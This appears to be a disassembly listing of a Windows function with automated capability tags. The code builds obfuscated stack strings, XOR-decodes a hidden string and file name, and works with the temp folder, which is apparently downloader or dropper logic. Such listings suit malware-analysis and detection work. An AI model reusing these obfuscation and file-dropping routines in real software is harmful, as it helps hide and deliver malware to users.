Function at 0x140001380
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [0x140004110]
xor rax, rsp
mov qword [rsp + 0x190], rax
xor eax, eax
xor edx, edx
xor ecx, ecx
mov byte [rsp + 0x30], 0x61
mov byte [rsp + 0x31], 0x61
mov byte [rsp + 0x32], 0x2e
mov word [rsp + 0x37], ax
mov byte [rsp + 0x39], al
mov byte [rsp + 0x33], 0x64
mov byte [rsp + 0x34], 0x61
mov byte [rsp + 0x35], 0x74
mov byte [rsp + 0x36], 0
call qword [sym.imp.USER32.dll_KillTimer]
lea rsi, [0x140004140]
xor edx, edx
mov rcx, rsi
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140004250]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
or rcx, 0xffffffffffffffff
xor ebx, ebx
xor eax, eax
lea rdi, [rsp + 0x20]
mov byte [rsp + 0x20], 0x6a
mov byte [rsp + 0x21], 0x74
mov byte [rsp + 0x22], 0x77
mov byte [rsp + 0x23], 0x2f
mov byte [rsp + 0x24], 0x2f
mov byte [rsp + 0x25], 0x2a
mov byte [rsp + 0x26], 0x62
mov byte [rsp + 0x27], 0x74
mov byte [rsp + 0x28], 0x62
mov byte [rsp + 0x29], 0
repne scasb al, byte [rdi]
mov r8d, ebx
mov rdi, rbx
not rcx
dec rcx
movsxd r9, ecx
test ecx, ecx
jle 0x14000147c
nop dword [rax + rax]
mov eax, r8d
inc rdi
inc r8d
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, 3
add byte [rsp + rdi + 0x1f], al
cmp rdi, r9
jl 0x140001460
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x80]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x80]
lea rdx, [rsp + 0x20]
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1400014c0
call fcn.140001110
test eax, eax
jne 0x1400015e5
mov rax, qword [str.qa_i4420_fqpn7_247_.35___kk_21103446_bq43bcobc]
or rcx, 0xffffffffffffffff
mov rdi, rsi
mov qword [rsi], rax
mov rax, qword [0x1400032d8]
mov qword [rsi + 8], rax
mov rax, qword [0x1400032e0]
mov qword [rsi + 0x10], rax
mov rax, qword [0x1400032e8]
mov qword [rsi + 0x18], rax
mov rax, qword [0x1400032f0]
mov qword [rsi + 0x20], rax
mov rax, qword [0x1400032f8]
mov qword [rsi + 0x28], rax
xor eax, eax
repne scasb al, byte [rdi]
mov rdi, rbx
not rcx
dec rcx
movsxd r8, ecx
test ecx, ecx
jle 0x14000156a
nop dword [rax + rax]
mov eax, 0x55555556
inc rdi
imul ebx
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
add al, al
add dl, al
movzx eax, bl
inc ebx
sub al, dl
add al, 2
add byte [rdi + rsi - 1], al
cmp rdi, r8
jl 0x140001540
xor eax, eax
lea rdx, [0x140004149]
lea rcx, [rsp + 0x40]
lea r8d, [rax + 0x14]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov word [rsp + 0x70], ax
call qword [sym.imp.MSVCR90.dll_strncpy]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
mov rax, qword [str.0109b3_]
or rcx, 0xffffffffffffffff
mov qword [rdi - 1], rax
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x30]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1400015d1
jmp 0x1400016ef
xor eax, eax
lea rdx, [0x140004149]
lea rcx, [rsp + 0x40]
lea r8d, [rax + 0x14]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov word [rsp + 0x70], ax
call qword [sym.imp.MSVCR90.dll_strncpy]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
mov rax, qword [str.0109b3_]
or rcx, 0xffffffffffffffff
mov qword [rdi - 1], rax
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x30]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140001650
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400012d0
test eax, eax
jne 0x140001701
xor eax, eax
lea rdx, [0x14000425e]
lea rcx, [rsp + 0x40]
lea r8d, [rax + 0x18]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov word [rsp + 0x70], ax
call qword [sym.imp.MSVCR90.dll_strncpy]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
mov rax, qword [str.0109b3_]
or rcx, 0xffffffffffffffff
mov qword [rdi - 1], rax
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x30]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1400016e0
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400012d0
xor eax, eax
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140001f10
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret